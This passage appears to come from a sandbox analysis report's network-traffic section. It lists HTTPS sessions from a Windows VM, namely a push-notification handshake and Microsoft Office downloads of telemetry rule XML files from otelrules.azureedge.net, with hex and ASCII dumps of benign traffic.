120	192.168.2.6	49890	40.113.110.67	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:30 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 41 65 48 64 73 30 53 4d 6d 6b 32 32 35 44 69 37 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 64 63 35 38 35 63 35 62 66 39 63 31 35 31 36 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: AeHds0SMmk225Di7.1Context: 3dc585c5bf9c1516
2024-11-12 09:37:30 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-12 09:37:30 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 41 65 48 64 73 30 53 4d 6d 6b 32 32 35 44 69 37 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 64 63 35 38 35 63 35 62 66 39 63 31 35 31 36 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 56 46 36 6d 64 4e 33 66 57 55 39 4f 55 5a 65 6f 77 41 6f 6d 7a 61 56 68 66 75 34 76 79 2b 35 4a 62 37 77 6a 67 49 70 67 6f 4f 45 64 58 32 41 65 54 56 4f 78 74 69 46 4f 56 30 62 4a 39 70 50 6d 5a 56 4c 41 74 4d 4a 54 5a 66 51 35 56 4a 4f 4b 42 4b 4f 55 67 34 44 6c 39 31 6f 59 71 66 75 48 58 69 75 53 30 30 61 56 6c 41 6f 2f 6e Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: AeHds0SMmk225Di7.2Context: 3dc585c5bf9c1516<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAVF6mdN3fWU9OUZeowAomzaVhfu4vy+5Jb7wjgIpgoOEdX2AeTVOxtiFOV0bJ9pPmZVLAtMJTZfQ5VJOKBKOUg4Dl91oYqfuHXiuS00aVlAo/n
2024-11-12 09:37:30 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 41 65 48 64 73 30 53 4d 6d 6b 32 32 35 44 69 37 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 64 63 35 38 35 63 35 62 66 39 63 31 35 31 36 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: AeHds0SMmk225Di7.3Context: 3dc585c5bf9c1516<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-12 09:37:30 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-12 09:37:30 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 6a 39 47 36 44 77 69 76 31 30 57 75 67 45 76 59 62 2b 50 6b 6f 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: j9G6Dwiv10WugEvYb+PkoA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.6	49894	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:30 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:30 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:30 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 933b88d1-c01e-0079-80a0-34e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093730Z-17df447cdb5jg4kthC1DFWux4n0000000bpg00000000c0ww x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:30 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.6	49895	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:30 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:30 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:30 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 26ab9fbe-e01e-0099-1ba1-34da8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093730Z-15869dbbcc6lq2lzhC1DFWs1sn00000001p00000000016ed x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 09:37:30 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.6	49896	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:30 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:30 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:30 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 384ed142-801e-0047-1f8c-327265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093730Z-16547b76f7fxsvjdhC1DFWprrs0000000fc000000000726e x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:30 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.6	49897	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:30 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:30 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:30 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: f81db1ec-b01e-00ab-60a2-34dafd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093730Z-15869dbbcc6ss7fxhC1DFWq6vs00000008v00000000065kf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 09:37:30 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.6	49898	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:30 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:30 UTC	517	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:30 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: c6a80355-b01e-0070-0e08-2c1cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093730Z-16547b76f7fx6rhxhC1DFW76kg0000000fd0000000007uuv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:30 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.6	49900	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:31 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:31 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:31 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: 42bc0e5a-201e-0033-26a6-34b167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093731Z-17df447cdb5qkskwhC1DFWeeg40000000c6000000000606k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:31 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.6	49901	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:31 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:31 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:31 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 792e95e0-001e-0065-4da8-340b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093731Z-17df447cdb5xwzjjhC1DFWz7vs00000000s000000000fcgm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 09:37:31 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.6	49902	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:31 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:31 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:31 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: 6f4d794e-301e-000c-74a1-34323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093731Z-15869dbbcc6kg5mvhC1DFW39vn00000005y00000000036cu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:31 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.6	49899	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:31 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:31 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:31 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 8167561f-b01e-003d-05a1-34d32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093731Z-15869dbbcc6lxrkghC1DFWqpdc00000007wg000000001n2v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 09:37:31 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.6	49903	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 09:37:31 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 09:37:31 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 09:37:31 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 510f214b-601e-0050-22a5-342c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T093731Z-15869dbbcc6rmhmhhC1DFWr8y000000007f00000000078r4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
